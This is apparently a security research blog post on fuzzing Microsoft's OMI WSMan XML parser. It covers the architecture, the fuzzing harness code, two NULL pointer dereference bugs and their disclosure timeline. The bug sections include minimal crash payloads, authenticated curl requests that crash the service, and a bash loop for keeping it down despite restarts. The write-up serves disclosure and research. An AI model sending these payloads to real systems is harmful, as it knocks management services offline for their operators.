This article provides a brief overview of how Microsoft Open Management Infrastructure (OMI) works, as well as two vulnerabilities that the Quarkslab Cloud team identified through fuzzing techniques.

Open Management Infrastructure (OMI)

You may already know about Microsoft Open Management Infrastructure (OMI) because of the previously disclosed vulnerabilities, such as OMIGOD, which allowed remote code execution and privilege escalation to the root user just by omitting the authentication header in the HTTP request.

OMI is widely used by Microsoft Azure under the hood, even though they are currently trying to reduce its use. For example, Azure Logs Analytics, which uses OMI, is slowly being replaced by Azure Monitor, which doesn't seem to use it.

But, what is the purpose of OMI?

Microsoft Open Management Infrastructure is an implementation of the DMTF Common Information Model (CIM) and Web-Based Enterprise Management (WBEM) standards that aims to be available for almost all Unix- and Linux-based operating systems. In some ways, we could say it brings Windows Management Infrastructure (WMI) to the Unix and Linux world. OMI doesn't implement all the techniques described by the WBEM but only CIM and WS-Management (WSMan).

In a few words, these standards define operations for management of computer resources such as CPUs, memory, and processes using pluggable modules which represent CIM Objects, called providers. Instances of the objects can be created, called, their properties modified, their methods can be invoked, etc.

There are two different ways we can communicate with OMI:

  • A custom-made binary protocol (local);
  • Through the WSMan protocol (remote and local).

The local binary protocol is obscure and not documented whereas WSMan is well-known and also uses common underlying technologies such as SOAP over HTTP. SOAP is entirely built on XML, which is always a great target for vulnerability research, especially when the parser is custom-made and developed in the C language.

OMI Architecture

OMI executes two binaries as daemons, omiengine, and omiserver. The former runs as the omi unprivileged user while the latter runs as root. Their relation can be compared to that of front-end and back-end servers. omiengine receives both internal and external requests, from HTTP or its Unix socket, parses them, unpacks if necessary and forwards them to the server if the request seems legit.

The front-end omiengine creates two sockets:

  • A Unix socket, world-writable where UID and GID of the local users are used to identify them;
  • A TCP socket for HTTP/HTTPS.

The omiserver creates a single unix socket which is only accessible by the user omi, that being omiengine.

OMI structure

Let's fuzz

We chose fuzzing as one of our approaches to search for vulnerabilities in OMI. The most difficult part of this technique is generally to create a harness that mimics a regular context of execution as much as possible. To do that, we need to find the relevant source code, and understand its logic and data flows as a prerequisite. We were lucky here because the setup is pretty straightforward once you understand the custom build logic, and doesn't require complex prerequisites as shown below.

Prerequisites

The function that processes the actual WSMan payload is _HttpProcessRequest defined in Unix/wsman/wsman.c line 4370.

An XML data structure is created and after a few verifications, initialized using &selfCD->wsman->xml, one of the arguments of the function. We'll see why this line is very important a bit later.

static void _HttpProcessRequest(
    _In_    WSMAN_ConnectionData*   selfCD,
    _In_    const HttpHeaders*      headers,
    _In_    Page*                   page);

    XML * xml = (XML *) PAL_Calloc(1, sizeof (XML));
    STRAND_ASSERTONSTRAND(&selfCD->strand.base);

    if (!xml)
    {
        trace_OutOfMemory();
        _CD_SendFailedResponse(selfCD);
        if( NULL != page )
        {
            PAL_Free(page);
        }
        return;
    }

    memcpy(xml, &selfCD->wsman->xml, sizeof(XML));

After checking the HTTP headers and ensuring that the protocol that is used is indeed SOAP with XML, the XML payload is attached to the XML structure using the XML_SetText function.

The two main functions that parse the XML contents are then consecutively called:

  • WS_ParseSoapEnvelope(XML* xml) with the xml content as argument.
  • WS_ParseWSHeader(XML* xml, WSMAN_WSHeader* wsheader, UserAgent userAgent) with the xml content, the WSMan headers and the user agent.
XML_SetText(xml, (ZChar*)(page + 1));

/* Parse SOAP Envelope */
if (WS_ParseSoapEnvelope(xml) != 0 ||
    xml->status)
{
    trace_Wsman_FailedParseSOAPEnvelope();
    _CD_SendFaultResponse(selfCD, NULL, WSBUF_FAULT_INTERNAL_ERROR, xml->message);
    goto Done;
}

/* Parse WS header */
if (WS_ParseWSHeader(xml, &selfCD->wsheader, selfCD->userAgent) != 0 ||
    xml->status)
{
    trace_Wsman_FailedParseWSHeader();
    _CD_SendFaultResponse(selfCD, NULL, WSBUF_FAULT_INTERNAL_ERROR, xml->message);
    goto Done;
}

At the beginning, the code coverage of the fuzzing campaign was poor. After further investigation, we identified the following line and realized its importance.

memcpy(xml, &selfCD->wsman->xml, sizeof(XML));

Remember it? This is where the XML structure is initialized at the beginning of the _HttpProcessRequest function. &selfCD->wsman->xml actually refers to a XML structure defined during the initialization of the WSMan server, in the WSMAN_New_Listener function defined line 4584 of Unix/wsman/wsman.c. We actually need to register the XML namespaces, otherwise our XML payload will never be entirely parsed because it will search for them first.

We can see it at the end of the function:

    XML_Init(&self->xml);

    XML_RegisterNameSpace(&self->xml, 's',
        ZT("http://www.w3.org/2003/05/soap-envelope"));

    XML_RegisterNameSpace(&self->xml, 'a',
        ZT("http://schemas.xmlsoap.org/ws/2004/08/addressing"));

    /* [...] */

    XML_RegisterNameSpace(&self->xml, 'x',
        ZT("http://www.w3.org/2001/XMLSchema-instance"));

    XML_RegisterNameSpace(&self->xml, MI_T('e'),
        ZT("http://schemas.xmlsoap.org/ws/2004/08/eventing"));

#ifndef DISABLE_SHELL
    XML_RegisterNameSpace(&self->xml, MI_T('h'),
        ZT("http://schemas.microsoft.com/wbem/wsman/1/windows/shell"));
#endif

We basically discovered the requirements to pass the first checks to fuzz our target.

Choosing the fuzzer and writing the harness

Now that we have gathered all the prerequisites, we can start developing the harness. Our parsing function is composed of the registration of the namespaces, and the two functions we identified earlier:

int parse_xml(const char *data)
{
    XML xml;
    XML_Init(&xml);
    XML_RegisterNameSpace(&xml, 's',
                          ZT("http://www.w3.org/2003/05/soap-envelope"));

    XML_RegisterNameSpace(&xml, 'a',
                          ZT("http://schemas.xmlsoap.org/ws/2004/08/addressing"));

    XML_RegisterNameSpace(&xml, 'w',
                          ZT("http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"));

    XML_RegisterNameSpace(&xml, 'n',
                          ZT("http://schemas.xmlsoap.org/ws/2004/09/enumeration"));

    XML_RegisterNameSpace(&xml, 'b',
                          ZT("http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd"));

    XML_RegisterNameSpace(&xml, 'p',
                          ZT("http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"));

    XML_RegisterNameSpace(&xml, 'i',
                          ZT("http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"));

    XML_RegisterNameSpace(&xml, 'x',
                          ZT("http://www.w3.org/2001/XMLSchema-instance"));

    XML_RegisterNameSpace(&xml, 'e',
                          ZT("http://schemas.xmlsoap.org/ws/2004/08/eventing"));

    XML_RegisterNameSpace(&xml, MI_T('h'),
                           ZT("http://schemas.microsoft.com/wbem/wsman/1/windows/shell"));

    XML_SetText(&xml, &data[0]);

    if (WS_ParseSoapEnvelope(&xml) != 0)
    {
        return 1;
    }

    WSMAN_WSHeader wsheader;
    UserAgent userAgent = USERAGENT_WINRM;
    if (WS_ParseWSHeader(&xml, &wsheader, userAgent) != 0)
    {
        return 2;
    }

    return 0;
}

Our choice was the HonggFuzz fuzzer. Our target seems to be eligible for persistent mode, so we could use it. Persistent mode avoids repeated clones/execs and exit of the fuzzed binary. Instead, it tests new input data within the same process which largely increases the fuzzing speed (10x to 100x). There are two different ways to use it within HonggFuzz as per their documentation:

  • By defining the LLVMFuzzerTestOneInput function, which describes what to do for one test case, similarly to what you would do with libFuzzer.
  • By calling the HF_ITER symbol to fetch new input and length.

The LLVMFuzzerTestOneInput solution was more intuitive to us, let's see it in practice:

int LLVMFuzzerTestOneInput(int* data, size_t len)
{
    // add a null byte at the end of the payload
    char* mydata = malloc(len+1);
    memcpy(mydata, data, len);
    mydata[len] = '\0';

    // call the parser
    parse_xml(mydata);

    free(mydata);
    return 0;
}

The results

The fuzzing campaign allowed to quickly find two crashes for different reasons that could be exploited as an authenticated user. Both result in the crash and the shutting down of the OMI processes (i.e. omiengine and omiserver). When omiengine unexpectedly disappears, omiserver quits. Thus, every local user can stop OMI with specific XML payloads. Note that if the service is managed using systemd or equivalent, the omid.service will be automatically restarted after the crash. However, it is possible to script this action, or create a cron job to take the server down indefinitely.

First issue: NULL pointer dereference read in _ParseEndTag

The issue is located in the _ParseEndTag function and happens because of the bad parsing of a malformed XML. This function will call _FindNamespace that will return NULL if there is an existing namespace in the closing tag which was not identified as valid and previously registered. Coming back to _ParseEndTag, line 1130 of Unix/xml/xml.c, a condition statement will dereference the NULL pointer returned by _FindNamespace before performing a check. This causes a crash.

Here is the problematic piece of code:

const XML_NameSpace *ns;
/* [...] */
ns = _FindNamespace(self, prefix);
if (ns)
{
    /* [...] */
}
/* Match opening name */
{
    /* [...] */
    {
        XML_Name* xn = &self->stack[self->stackSize];

        if (XML_strcmp(xn->data, name) != 0 ||
            xn->namespaceId != ns->id || // crash when dereferencing ns->id if ns is NULL
            (ns->id == 0 && XML_strcmp(xn->namespaceUri, ns->uri) != 0))
        {
            XML_Raise(self, XML_ERROR_ELEMENT_END_ELEMENT_TAG_NOT_MATCH_START_TAG,
                tcs(self->stack[self->stackSize].data), tcs(name));
            return;
        }
    }
}

A NULL check is performed just after _FindNamespace has returned but when the execution flow arrives at the conditional branch XML_strcmp(xn->data, name) != 0 || xn->namespaceId != ns->id, the pointer ns can point to NULL and thus, if the XML_strcmp is successful (because in our example, next section, the "Quarkslab" tag matches), this second condition is executed which produces the crash.

Payload

Presented below is the minimal XML payload which triggers the issue, please note that the "Quarkslab" tag and "X" namespace are arbitrary and can be changed to anything (except to "s" for the namespace, providing the intended input):

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><s:Quarkslab></X:Quarkslab>

Here is an example of the full request with curl which will take the service down (if you have a user username with the password password on the machine):

curl -v <url>:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><s:Quarkslab></X:Quarkslab>'

Second issue: NULL pointer dereference write in _ParseCharData

The issue lies in the Unix/xml/xml.c function _ParseCharData from line 1341 to line 1365:

end = _ReduceCharData(self, &p);

if (self->status)
{
    /* Propagate error */
    return 0;
}

/* Process character data */
if (*p != '<')
{
    XML_Raise(self, XML_ERROR_CHARDATA_EXPECTED_ELEMENT_END_TAG);
    return 0;
}

/* Set next state */
self->ptr = p + 1;
self->state = STATE_TAG;

/* Return character data element if non-empty */
if (end == start)
    return 0;

/* Prepare element */
*end = '\0';

In some cases, _ReduceCharData can return a NULL pointer explicitly (in our situation it is line 450):

/* Document cannot end with character data */
if (*p == '\0')
    return NULL;

Thus, the last line on the snippet of _ParseCharData above, line 1365 in Unix/xml/xml.c just crashes on a *NULL = '\0'.

Payload

Presented below is the minimal XML payload which triggers the issue:

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header>&lt;

The example above in a full request with curl which takes the service down could be (if you have a user username with the password password on the machine):

curl -v localhost:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header>&lt;'

If systemd or equivalent restarts the service indefinitely, you can make the server unavailable with a simple bash one-liner similar to this:

while true; do curl -v localhost:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header>&lt;'; sleep 6; done

Conclusion

As demonstrated in this blog post, those two vulnerabilities were not so difficult to find using basic fuzzing techniques. Microsoft's goal of bringing some kind of unified way to administrate different operating systems using an open source project such as OMI is noble. However, there seems to be a big contrast between its widespread use on Microsoft Azure and the little security scrutiny that the project has received. In our opinion, the maturity of the project's source code would certainly benefit from more visibility and scrutiny.

Disclosure Timeline

  • 2022-11-30 Quarkslab sent the vulnerability report to Microsoft.
  • 2022-12-02 Microsoft acknowledged the report and said it had opened a case.
  • 2023-01-12 Microsoft indicated that they investigated the report and had informed the appropriate team about the issues. They said the issues were determined to be of Moderate severity and would be addressed in a future version of this product, targeted to be released by February 2023.
  • 2023-01-24 Microsoft sent an update saying that the fix would be addressed tentatively by March 2023. Asked if Quarkslab had any concerns with this timeline or had any disclosure plans.
  • 2023-01-24 Quarkslab replied that it had no concerns with the timeline and that with regards to disclosure, a blog post may be published in March but it wasn't decided yet.
  • 2023-01-25 Microsoft asked if Quarkslab could share the blog post because they'd like to review it.
  • 2023-02-28 Microsoft asked if Quarkslab had made a decision about publishing a blog post and to share it with them for review.
  • 2023-03-03 Quarkslab replied that it would publish a blog post with a general description of OMI and disclosing the two bugs around March 16th or during the week of March 20th. The draft would be shared by the end of the week.
  • 2023-03-08 Microsoft noted that the bugs had been fixed and asked Quarkslab to share the draft blog post when ready.
  • 2023-03-14 Quarkslab sent a draft version of the blog post and asked if the issued had been assigned CVE IDs and if Microsoft planned to issue a bulletin or security advisory.
  • 2023-03-17 Microsoft replied with a set of suggested edits to the blog post.
  • 2023-03-17 Quarkslab indicated that it reviewed and considered Microsoft's suggestions but clarified that the draft blog post was provided as a courtesy not as a request nor an offer for an editorial review. Asked when were the fixes issued, what were the assigned CVE IDs and for any references to a security bulletin or other public communication about them.
  • 2023-03-21 Microsoft said that it was determined that a CVE would not be released for the issue as the case was of Moderate severity and the risk not high.
  • 2023-03-28 Upon inspection of the OMI source code repository Quarkslab determined that a fix was committed on February 16th.
  • 2023-03-31 This blog post is published.

If you would like to learn more about our security audits and explore how we can help you, get in touch with us!